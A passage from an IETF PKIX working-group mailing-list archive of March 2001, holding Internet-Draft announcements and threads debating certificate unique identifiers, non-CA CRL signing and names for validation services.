or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	[e-mail].
In the body type:
	"FILE /internet-drafts/draft-ietf-pkix-ocspv2-02.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="[e-mail]"

Content-Type: text/plain
Content-ID:	<[e-mail]>

ENCODING mime
FILE /internet-drafts/draft-ietf-pkix-ocspv2-02.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-pkix-ocspv2-02.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<[e-mail]>

--OtherAccess--

--NextPart--




Received: from ietf.org (odin.ietf.org [132.151.1.176]) by above.proper.com (8.9.3/8.9.3) with ESMTP id DAA19614 for <[e-mail]>; Thu, 8 Mar 2001 03:57:58 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA22497; Thu, 8 Mar 2001 06:57:58 -0500 (EST)
Message-Id: <[e-mail]>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: [e-mail]
From: [e-mail]
Reply-to: [e-mail]
Subject: I-D ACTION:draft-ietf-pkix-ipki-pkalgs-02.txt
Date: Thu, 08 Mar 2001 06:57:57 -0500
Sender: [e-mail]

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Public-Key Infrastructure (X.509) Working Group of the IETF.

	Title		: Algorithms and Identifiers for the Internet X.509 
                          Public Key Infrastructure Certificate and CRI Profile
	Author(s)	: L. Bassham, R. Housley, W. Polk
	Filename	: draft-ietf-pkix-ipki-pkalgs-02.txt
	Pages		: 26
	Date		: 07-Mar-01
	
This document specifies algorithm identifiers and ASN.1 encoding
formats for digital signatures and subject public keys used in the
Internet X.509 Public Key Infrastructure (PKI).  Digital signatures
are used to sign certificates and certificate revocation lists
(CRLs).  Certificates include the public key of the named subject.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-pkix-ipki-pkalgs-02.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-pkix-ipki-pkalgs-02.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	[e-mail].
In the body type:
	"FILE /internet-drafts/draft-ietf-pkix-ipki-pkalgs-02.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="[e-mail]"

Content-Type: text/plain
Content-ID:	<[e-mail]>

ENCODING mime
FILE /internet-drafts/draft-ietf-pkix-ipki-pkalgs-02.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-pkix-ipki-pkalgs-02.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<[e-mail]>

--OtherAccess--

--NextPart--




Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by above.proper.com (8.9.3/8.9.3) with ESMTP id CAA12272 for <[e-mail]>; Thu, 8 Mar 2001 02:42:28 -0800 (PST)
Received: from sunlabs.East.Sun.COM ([129.148.75.250]) by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id CAA15313; Thu, 8 Mar 2001 02:42:27 -0800 (PST)
Received: from sunlabs.East.Sun.COM (esun1as-be.Central.Sun.COM [129.147.34.142]) by sunlabs.East.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA03938; Thu, 8 Mar 2001 05:42:17 -0500 (EST)
From: Steve Hanna <[e-mail]>
Message-Id: <[e-mail]>
Date: Thu, 8 Mar 2001 05:43:19 -0500
To: "Ari Kermaier" <[e-mail]>, <[e-mail]>
Reply-To: <[e-mail]>
Subject: Re: UIDs popping up in new-part1
X-Mailer: Sun NetMail 2.3
MIME-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

If we allow relying parties to ignore UIDs, won't that break backward
compatibility in an even more dangerous manner than requiring RPs to
reject certificates that contain UIDs? Ignoring UIDs would allow RPs
to accept chains with UID mismatches. Since UID checking was previously
required, this would be a potentially dangerous contravention of the
issuing CA's intent.

An RP should either reject certificates containing UIDs or process
them properly, not simply ignore them. Since nobody uses this feature
and nobody can argue for why it is needed, I suggest that we require
RPs to reject certificates containing UIDs.

-Steve

>The recommendation that Section 6.1.3 be amended to remove references to 
>UIDs makes sense; CAs conforming to the current profile should not be 
>required to support this mechanism for certificate chaining, nor should 
>UIDs be allowed to needlessly complicate the revised validation algorithm.
>
>However, requiring that UIDs be absent from a certificate would be a 
>serious error, as would recommending that conforming CAs reject 
>certificates containing UIDs. If the certificate in question contains the 
>information required to perform chaining and validation as per the current 
>profile, why should the CA not be free to ignore the presence of extraneous 
>infomation? I think it would be a Very Bad Idea to break backwards 
>compatibility for what is essentially nothing more than an aesthetic 
>reason. A CA conforming to the current X.509 v3 profile should NOT reject a 
>certificate that has a deprecated field from a X.509 v2 profile -- it 
>should just ignore that field. Of course, eveyone "knows" that "nobody" 
>uses UIDs, but that's not a good reason to break, even hypothetically, 
>certificates that do use them unless there's a truly compelling positive or 
>negative functional benefit.
>
>Ari Kermaier
>Phaos Technology
>
>>Last fall, we agreed to remove issuer and subject unique identifier
>>comparison from the validation algorithm. At least, I think we did. The
>>argument was that nobody uses unique identifiers and there's no good
>>reason to retain support for them.
>>
>>In draft-ietf-pkix-new-part1-04.txt, this has almost been done. However,
>>they remain in step (a) (5) of section 6.1.3, which says:
>>
>>          (5) The certificate issuer unique identifier is the
>>          working_issuer_UID, meaning:
>>
>>             (i) working_issuer_UID is non-null and matches the value in
>>             the issuerUID field, or
>>
>>             (ii) working_issuer_UID is null and the issuerUID field is
>>             not present.
>>
>>But working_issuer_UID is no longer set anywhere. We should either put
>>back the text that initializes and updates this state variable or we
>>should change this step so that it doesn't refer to this uninitialized
>>varible. I suggest that we remove support for unique identifier chaining
>>by changing this step to say:
>>
>>          (5) The issuerUniqueID and subjectUniqueID fields are not
>>          present in the certificate.
>>
>>This will ensure that compliant implementations will not accidentally
>>accept certificates that use these fields, since support for these
>>fields is no longer required. I also suggest that we change the sentence
>>in section 4.1.2.8 that reads "Applications conforming to this profile
>>SHOULD be capable of parsing unique identifiers and making
>>comparisons."  to read "Applications conforming to this profile SHOULD
>>reject certificates that contain unique identifiers."
>>
>>-Steve
>




Received: from odin2.bull.net (odin2.bull.net [192.90.70.84]) by above.proper.com (8.9.3/8.9.3) with ESMTP id BAA05920 for <[e-mail]>; Thu, 8 Mar 2001 01:33:00 -0800 (PST)
Received: from lvt-mail.frlv.bull.fr (lvt-mail.frlv.bull.fr [129.184.62.223]) by odin2.bull.net (8.9.3/8.9.3) with ESMTP id KAA20938; Thu, 8 Mar 2001 10:40:56 +0100
Received: from bull.net (frlva3786.frlv.bull.fr [129.184.37.97]) by lvt-mail.frlv.bull.fr (8.9.2/8.9.1) with ESMTP id KAA18548; Thu, 8 Mar 2001 10:32:25 +0100
Message-ID: <[e-mail]>
Date: Thu, 08 Mar 2001 10:32:28 +0100
From: Denis Pinkas <[e-mail]>
Organization: Bull
X-Mailer: Mozilla 4.7 [fr] (Win98; I)
X-Accept-Language: fr
MIME-Version: 1.0
To: Ambarish Malpani <[e-mail]>
CC: [e-mail]
Subject: Re: Open Issue in Part1: path length constraints
References: <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Ambarish,

> Hi Denis,
>     I don't have an issue with a single/multiple names. 

This is fine. 

> What I was remarking is, is that IETF does have the concept 
> of a non-CA signing/providing validation responses.
> 
> We could call (a) an OCSP responder/server
>               (b) an Indirect CRL Signer
>               (c) a DPV/SCVP responder/server

Some of them might be called Authorities. 

a) Revocation Status Authority - RSA  ;-)  
  (I am yet not sure if OCSP will or will not be extended and whether we 
  will keep the same name. If OCSP only relates to revocation status, then
OCSP Responder would be fine as well).

b) Not sure how we may call that service since indirect and direct entries
   can be mixed together in the same CRL. We have "CRL Issuer" has a generic
term, whether it is direct or indirect.

c) Path Validation Authority (DPV),

d) Path Discovery Helper (DPD).

Note: I am not strong on any of the above wordings. I only care that we use
different names for different security services and that we clearly identify
which service is performed by a given "Authority", "Issuer", "Responder",
"Helper", ...

Regards,

Denis

> Regards,
> Ambarish
> 
> ---------------------------------------------------------------------
> Ambarish Malpani
> Architect                                                650.567.5457
> ValiCert, Inc.                                  [e-mail]
> 339 N. Bernardo Ave.                          http://www.valicert.com
> Mountain View, CA 94043
> 
> > -----Original Message-----
> > From: Denis Pinkas [mailto:[e-mail]]
> > Sent: Wednesday, March 07, 2001 8:34 AM
> > To: Ambarish Malpani
> > Cc: 'Stephen Kent'; [e-mail]
> > Subject: Re: Open Issue in Part1: path length constraints
> >
> >
> > Ambarish,
> >
> > > Hi Steve,
> > >     While the term "VA" might not be part of the IETF standards,
> > > it is the entity that can do the following:
> > >
> > > a. Sign OCSP responses - where you directly trust the responder
> > > b. Sign Indirect CRLs (I suppose this is a circular argument)!
> > > c. Do the Delegated Path Validation protocol.
> > >
> > > Agreed?
> >
> > Certainly not !
> >
> > This would create a confusion between:
> >
> > 1) a server simply giving the revocation status of a certificate,
> > 2) a server *advertising* revocation for others CAs,
> > 3) a server saying if a certificate is valid according to some policy.
> >
> > Please use different names!
> >
> > Denis
> >
> > > Regards,
> > > Ambarish
> > >
> > >
> > ---------------------------------------------------------------------
> > > Ambarish Malpani
> > > Architect
> > 650.567.5457
> > > ValiCert, Inc.
> > [e-mail]
> > > 339 N. Bernardo Ave.
> > http://www.valicert.com
> > > Mountain View, CA 94043
> > >
> > > > -----Original Message-----
> > > > From: Stephen Kent [mailto:[e-mail]]
> > > > Sent: Wednesday, March 07, 2001 7:55 AM
> > > > To: Ambarish Malpani
> > > > Cc: [e-mail]
> > > > Subject: RE: Open Issue in Part1: path length constraints
> > > >
> > > >
> > > > Ambarish,
> > > >
> > > > >Steve, we use the Indirect CRL/Indirect delta CRL format to
> > > > >propogate revocation information for particular CAs between
> > > > >our VAs (Validation Authorities).
> > > > >
> > > > >Basically, as master VA can receive information that a particular
> > > > >cert was revoked at a CA (even if the CA has not had time to
> > > > >issue a new CRL as yet). It can (and does) create a Indirect
> > > > >CRL with this information that it signs. The VA never acts
> > > > >as a CA - it never issues certs, but still needs to be
> > > > >responsible for creating and propogating revocation information
> > > > >to other VAs.
> > > > >
> > > > >While we use these indirect CRLs to propogate information just
> > > > >amongst VAs, it is not a stretch to seeing clients trust these
> > > > >indirect CRLs for their own purposes.
> > > > >
> > > > >Hope this helps justify why it does make sense for non-CAs to
> > > > >still issue CRLs.
> > > >
> > > > I understand the mechanism you are employing, and I see
> > nothing wrong
> > > > with it. However, I don't think the notion of a "VA" is
> > part of ITU
> > > > or IETF standards. Therefore, your use of it in a closed system
> > > > environment is outside the scope of these standards.
> > > >
> > > > Steve
> > > >
> >


Received: from odin2.bull.net (odin2.bull.net [192.90.70.84]) by above.proper.com (8.9.3/8.9.3) with ESMTP id XAA23673 for <[e-mail]>; Wed, 7 Mar 2001 23:56:13 -0800 (PST)
Received: from lvt-mail.frlv.bull.fr (lvt-mail.frlv.bull.fr [129.184.62.223]) by odin2.bull.net (8.9.3/8.9.3) with ESMTP id JAA11616; Thu, 8 Mar 2001 09:04:08 +0100
Received: from bull.net (frlva3786.frlv.bull.fr [129.184.37.97]) by lvt-mail.frlv.bull.fr (8.9.2/8.9.1) with ESMTP id IAA15750; Thu, 8 Mar 2001 08:55:36 +0100
Message-ID: <[e-mail]>
Date: Thu, 08 Mar 2001 08:55:39 +0100
From: Denis Pinkas <[e-mail]>
Organization: Bull
X-Mailer: Mozilla 4.7 [fr] (Win98; I)
X-Accept-Language: fr
MIME-Version: 1.0
To: Stephen Kent <[e-mail]>
CC: Sharon Boeyen <[e-mail]>, [e-mail]
Subject: Re: Open Issue in Part1: path length constraints
References: <[e-mail]> <p05010402b6cc5218565b@[128.33.4.39]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Sharon,

I read your explanations below. We do not have any problem about the
concepts, but there is a vocbulary problem here. It would be unfortunate to
say that an Authority may only be a CA or an AA. An Authority needs to be
qualified by a term: C-A (C= Certification) or A-A (A = Attribute). There
are and will be other Authorities in a PKIX. As an example: TS-A (TS = Time
Stamping).

I do know that, for ISO documents, definitions only apply for the given
document where the definition is, but rewording clause 3.3.6 from X.509
along the following would need to be considered:

Authority: "An entity, trusted by some other entities for a security related
service. Two types of authorities are defined in this Specification;
certification authority which issues public-key certificates and attribute
authority which issues attribute certificates. Other types might be defined
in the future."

Denis

 
> Sharon,
> 
> >Re the X.509 language - The main reason you see terms  like 'authority' and
> >CRL issuer instead of CA is that CRLs can also be issued for
> >attribute certificates.
> >These CRLs would be signed by Attribute Authorities (AA) not by CAs.
> >As editor,
> >one my editing tasks for the 2000 509 was to replace "CA" with
> >"authority" wherever both CA and AA
> >were intended. That is the main reason you see these terms. There
> >really hasn't been any
> >discussion in 509 on non CA, AA issued CRLs that I can remember.
> >Taking this to the next
> >step, the definition of "authority" in X.509 (clause 3.3.6) is: "An
> >entity, responsible for the issuance of certificates. Two types are
> >defined in this Specification; certification authority which issues
> >public-key certificates and attribute authority which issues
> >attribute certificates." So, at least from the X.509 perspective an
> >authority is either a CA or an AA.
> 
> Thanks for the clarification; it reaffirms my recent comments about
> the scope of the term "authority." That says that there is no
> explicit provision for non CA/AA issuance of CRLs in X.509. So, not
> only does PKIX have to decide if it wants to create the notion of a
> new sort of authority for CRL issuance, but then we have to see if
> X.509 will follow this approach as well.
> 
> Steve


Received: from blue01.identrus.com ([216.213.93.123]) by above.proper.com (8.9.3/8.9.3) with ESMTP id RAA04926 for <[e-mail]>; Wed, 7 Mar 2001 17:46:37 -0800 (PST)
Received: by BLUE01 with Internet Mail Service (5.5.2653.19) id <10059QF3>; Wed, 7 Mar 2001 20:44:53 -0500
Message-ID: <2B55DABB95C4D4119C1300508BD953F1144028@BLUE01>
From: Dave Oshman <[e-mail]>
To: "'Stephen Kent'" <[e-mail]>, David Simonetti <[e-mail]>
Cc: [e-mail]
Subject: Separate CRL Issuance Entity Was: RE: Open Issue in Part1: path l ength constraints
Date: Wed, 7 Mar 2001 20:44:51 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0A771.5DD99EE0"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0A771.5DD99EE0
Content-Type: text/plain;
	charset="iso-8859-1"

I would like to consider including the option to have an entity other than a
"cert issuing  authority" to sign CRLs. In cases where a Root CA needs to
issue certificates infrequently (such as we have at Identrus), but needs to
issue CRLs much more frequently, there seems to be a case to have different
certificates for these purposes. I don't want to rule out having this
option. If we define that having the CA bit set means the capability to
issue certificates, this CRL signing entity should not have that bit set. Is
it specifically stated somewhere that the assertion of the CA bit is defined
as certificate issuance capability? My old X.509 (97) defines a CA as: An
authority trusted by one or more users to create and assign certificates.
2459 doesn't provide any more help.

Regards,
Dave Oshman

-----Original Message-----
David,

>Steve,
>
>Stephen Kent wrote:
>
>>   I see there is considerable
>>  sentiment to allow for non-CA flagged entities to sign CRLs, but I'm
>>  not yet sure I understand why folks consider it important to not turn
>>  on the CA flag in certs for such entities. After all, since we have
>>  separate key usage bits for cert and CRL signing, we can construct a
>>  cert for an entity that signs CRLs and not grant that entity the
>>  ability to sign certs, if we so desire.
>>
>
>I don't think so.  From Section 4.2.1.10:
>
>"If the cA bit is asserted, then the keyCertSign bit in the key 
>usage extension
>(see 4.2.1.3) MUST also be asserted."

Good point; I missed that one!

So, if we adhere to this constraint we can't have an entity labelled 
as a CA but restricted to issuing only CRLs.  So, we need to 
reconcile the various parts of the document to have a consistent, 
well-defined description of what folks can/should do to separate out 
CRL signing from cert signing.

Steve

------_=_NextPart_001_01C0A771.5DD99EE0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2653.12">
<TITLE>Separate CRL Issuance Entity Was: RE: Open Issue in Part1: path =
length constraints</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>I would like to consider including the option to have =
an entity other than a &quot;cert issuing&nbsp; authority&quot; to sign =
CRLs. In cases where a Root CA needs to issue certificates infrequently =
(such as we have at Identrus), but needs to issue CRLs much more =
frequently, there seems to be a case to have different certificates for =
these purposes. I don't want to rule out having this option. If we =
define that having the CA bit set means the capability to issue =
certificates, this CRL signing entity should not have that bit set. Is =
it specifically stated somewhere that the assertion of the CA bit is =
defined as certificate issuance capability? My old X.509 (97) defines a =
CA as: An authority trusted by one or more users to create and assign =
certificates. 2459 doesn't provide any more help.</FONT></P>

<P><FONT SIZE=3D2>Regards,</FONT>
<BR><FONT SIZE=3D2>Dave Oshman</FONT>
</P>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>David,</FONT>
</P>

<P><FONT SIZE=3D2>&gt;Steve,</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt;Stephen Kent wrote:</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt;&gt;&nbsp;&nbsp; I see there is =
considerable</FONT>
<BR><FONT SIZE=3D2>&gt;&gt;&nbsp; sentiment to allow for non-CA flagged =
entities to sign CRLs, but I'm</FONT>
<BR><FONT SIZE=3D2>&gt;&gt;&nbsp; not yet sure I understand why folks =
consider it important to not turn</FONT>
<BR><FONT SIZE=3D2>&gt;&gt;&nbsp; on the CA flag in certs for such =
entities. After all, since we have</FONT>
<BR><FONT SIZE=3D2>&gt;&gt;&nbsp; separate key usage bits for cert and =
CRL signing, we can construct a</FONT>
<BR><FONT SIZE=3D2>&gt;&gt;&nbsp; cert for an entity that signs CRLs =
and not grant that entity the</FONT>
<BR><FONT SIZE=3D2>&gt;&gt;&nbsp; ability to sign certs, if we so =
desire.</FONT>
<BR><FONT SIZE=3D2>&gt;&gt;</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt;I don't think so.&nbsp; From Section =
4.2.1.10:</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt;&quot;If the cA bit is asserted, then the =
keyCertSign bit in the key </FONT>
<BR><FONT SIZE=3D2>&gt;usage extension</FONT>
<BR><FONT SIZE=3D2>&gt;(see 4.2.1.3) MUST also be =
asserted.&quot;</FONT>
</P>

<P><FONT SIZE=3D2>Good point; I missed that one!</FONT>
</P>

<P><FONT SIZE=3D2>So, if we adhere to this constraint we can't have an =
entity labelled </FONT>
<BR><FONT SIZE=3D2>as a CA but restricted to issuing only CRLs.&nbsp; =
So, we need to </FONT>
<BR><FONT SIZE=3D2>reconcile the various parts of the document to have =
a consistent, </FONT>
<BR><FONT SIZE=3D2>well-defined description of what folks can/should do =
to separate out </FONT>
<BR><FONT SIZE=3D2>CRL signing from cert signing.</FONT>
</P>

<P><FONT SIZE=3D2>Steve</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0A771.5DD99EE0--


Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by above.proper.com (8.9.3/8.9.3) with ESMTP id OAA24134 for <[e-mail]>; Wed, 7 Mar 2001 14:16:53 -0800 (PST)
Received: from [128.33.4.39] (comsec.bbn.com [128.33.4.39]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id RAA19512; Wed, 7 Mar 2001 17:16:07 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p05010402b6cc5218565b@[128.33.4.39]>
In-Reply-To: <[e-mail]>
References: <[e-mail]>
Date: Wed, 7 Mar 2001 17:18:54 -0500
To: Sharon Boeyen <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: RE: Open Issue in Part1: path length constraints
Cc: [e-mail]
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Sharon,

>Re the X.509 language - The main reason you see terms  like 'authority' and
>CRL issuer instead of CA is that CRLs can also be issued for 
>attribute certificates.
>These CRLs would be signed by Attribute Authorities (AA) not by CAs. 
>As editor,
>one my editing tasks for the 2000 509 was to replace "CA" with 
>"authority" wherever both CA and AA
>were intended. That is the main reason you see these terms. There 
>really hasn't been any
>discussion in 509 on non CA, AA issued CRLs that I can remember. 
>Taking this to the next
>step, the definition of "authority" in X.509 (clause 3.3.6) is: "An 
>entity, responsible for the issuance of certificates. Two types are 
>defined in this Specification; certification authority which issues 
>public-key certificates and attribute authority which issues 
>attribute certificates." So, at least from the X.509 perspective an 
>authority is either a CA or an AA.

Thanks for the clarification; it reaffirms my recent comments about 
the scope of the term "authority." That says that there is no 
explicit provision for non CA/AA issuance of CRLs in X.509. So, not 
only does PKIX have to decide if it wants to create the notion of a 
new sort of authority for CRL issuance, but then we have to see if 
X.509 will follow this approach as well.

Steve


Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by above.proper.com (8.9.3/8.9.3) with ESMTP id NAA22172 for <[e-mail]>; Wed, 7 Mar 2001 13:45:22 -0800 (PST)
Received: from [128.33.4.39] (comsec.bbn.com [128.33.4.39]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id QAA15055; Wed, 7 Mar 2001 16:44:31 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p05010403b6cc5b427d87@[128.33.4.39]>
In-Reply-To: <[e-mail]>
References: <[e-mail]>
Date: Wed, 7 Mar 2001 16:40:32 -0500
To: "Michael Myers" <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: RE: Open Issue in Part1: path length constraints
Cc: <[e-mail]>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Mike,

>Steve,
>
>We had in fact worked this very issue both onlist and offlist during the
>OCSP drafting stage.  That work led to the consensus view of an OCSP
>Authorized Responder as defined by Section 4.2.2.2 of RFC 2560 (cf. my note
>the list on 06 March).  So it seems we already have a consensus-based notion
>of what to call a non-CA OCSP entity--at least from a standards perspective.
>
>Just trying to save the WG some cycles.

Thanks,

Steve


Received: from geos (geos.coastside.net [207.213.212.4]) by above.proper.com (8.9.3/8.9.3) with ESMTP id MAA18532 for <[e-mail]>; Wed, 7 Mar 2001 12:38:46 -0800 (PST)
Received: from heatherdale (dsl-63-194-153-52.coastside.net [63.194.153.52]) by geos (8.11.0/8.11.1) with SMTP id f27KYaj04202; Wed, 7 Mar 2001 12:34:36 -0800 (PST)
From: "Michael Myers" <[e-mail]>
To: "Stephen Kent" <[e-mail]>, <[e-mail]>
Subject: RE: Open Issue in Part1: path length constraints
Date: Wed, 7 Mar 2001 12:40:32 -0800
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <p05010405b6cc13636c16@[128.33.4.39]>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300

Steve,

We had in fact worked this very issue both onlist and offlist during the
OCSP drafting stage.  That work led to the consensus view of an OCSP
Authorized Responder as defined by Section 4.2.2.2 of RFC 2560 (cf. my note
the list on 06 March).  So it seems we already have a consensus-based notion
of what to call a non-CA OCSP entity--at least from a standards perspective.

Just trying to save the WG some cycles.

Mike

> -----Original Message-----
> From: Stephen Kent [mailto:[e-mail]]
> Sent: Wednesday, March 07, 2001 8:41 AM
> To: Ambarish Malpani
> Cc: [e-mail]
> Subject: RE: Open Issue in Part1: path length constraints
>
>
> Ambarish,
>
> >Hi Steve,
> >     While the term "VA" might not be part of the IETF standards,
> >it is the entity that can do the following:
> >
> >a. Sign OCSP responses - where you directly trust the responder
> >b. Sign Indirect CRLs (I suppose this is a circular argument)!
> >c. Do the Delegated Path Validation protocol.
> >
> >Agreed?
>
> Since you made the term up, I suppose a VA can do anything :-).
>
> On a more serious note, we made an explicit provision for non-CA
> signing of OCSP responses when OCSP was created. You are an author,
> so you know this. But, you didn't seem to feel a need to create a
> name for such entities at the time, which is OK too.  CRL signing
> was, prior to v3, strictly the province of a CA. What it seems we
> have in our docs, and to a lesser extent in the X.509 docs, is a
> failure to clearly describe the intent to allow non-CA entities to
> sign CRLs. I say this based on the mix of terms in 2459, and some
> selected examples of text from X.509 that refer to an "authority"
> without naming any sort of authority other than CAs (and AAs?).
>
> So, going forward, if we want to allow non-CAs to perform this
> function, let's just get the text to be clear on this point, and if
> necessary, let's create a name for these entities, to minimize
> confusion.
>
> As for DPV, it is clear that it can be performed by a non-CA entity.
>
> Steve
>



Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by above.proper.com (8.9.3/8.9.3) with ESMTP id LAA14878 for <[e-mail]>; Wed, 7 Mar 2001 11:39:05 -0800 (PST)
Received: from [128.33.4.39] (comsec.bbn.com [128.33.4.39]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id OAA26419; Wed, 7 Mar 2001 14:38:06 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p05010410b6cc3ea29542@[128.33.4.39]>
In-Reply-To: <[e-mail]>
References: <[e-mail]> <p05010403b6caec8744c5@[128.33.238.183]> <[e-mail]>
Date: Wed, 7 Mar 2001 14:40:22 -0500
To: David Simonetti <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: Re: Open Issue in Part1: path length constraints
Cc: [e-mail]
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

David,

>Steve,
>
>Stephen Kent wrote:
>
>>   I see there is considerable
>>  sentiment to allow for non-CA flagged entities to sign CRLs, but I'm
>>  not yet sure I understand why folks consider it important to not turn
>>  on the CA flag in certs for such entities. After all, since we have
>>  separate key usage bits for cert and CRL signing, we can construct a
>>  cert for an entity that signs CRLs and not grant that entity the
>>  ability to sign certs, if we so desire.
>>
>
>I don't think so.  From Section 4.2.1.10:
>
>"If the cA bit is asserted, then the keyCertSign bit in the key 
>usage extension
>(see 4.2.1.3) MUST also be asserted."

Good point; I missed that one!

So, if we adhere to this constraint we can't have an entity labelled 
as a CA but restricted to issuing only CRLs.  So, we need to 
reconcile the various parts of the document to have a consistent, 
well-defined description of what folks can/should do to separate out 
CRL signing from cert signing.

Steve


Received: from sottmxs02.entrust.com (gatekeeper.entrust.com [204.101.128.170]) by above.proper.com (8.9.3/8.9.3) with ESMTP id LAA14349 for <[e-mail]>; Wed, 7 Mar 2001 11:36:07 -0800 (PST)
Received: by sottmxs02.entrust.com with Internet Mail Service (5.5.2650.21) id <F59CQX4Y>; Wed, 7 Mar 2001 14:35:38 -0500
Message-ID: <[e-mail]>
From: Sharon Boeyen <[e-mail]>
To: "'Stephen Kent'" <[e-mail]>, Ambarish Malpani <[e-mail]>
Cc: [e-mail]
Subject: RE: Open Issue in Part1: path length constraints
Date: Wed, 7 Mar 2001 14:32:55 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0A73D.6858D630"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0A73D.6858D630
Content-Type: text/plain

Re the X.509 language - The main reason you see terms  like 'authority' and 
CRL issuer instead of CA is that CRLs can also be issued for attribute
certificates.
These CRLs would be signed by Attribute Authorities (AA) not by CAs. As
editor, 
one my editing tasks for the 2000 509 was to replace "CA" with "authority"
wherever both CA and AA 
were intended. That is the main reason you see these terms. There really
hasn't been any 
discussion in 509 on non CA, AA issued CRLs that I can remember. Taking this
to the next 
step, the definition of "authority" in X.509 (clause 3.3.6) is: "An entity,
responsible for the issuance of certificates. Two types are defined in this
Specification; certification authority which issues public-key certificates
and attribute authority which issues attribute certificates." So, at least
from the X.509 perspective an authority is either a CA or an AA.


Sharon


> -----Original Message-----
> From: Stephen Kent [mailto:[e-mail]]
> Sent: Wednesday, March 07, 2001 11:41 AM
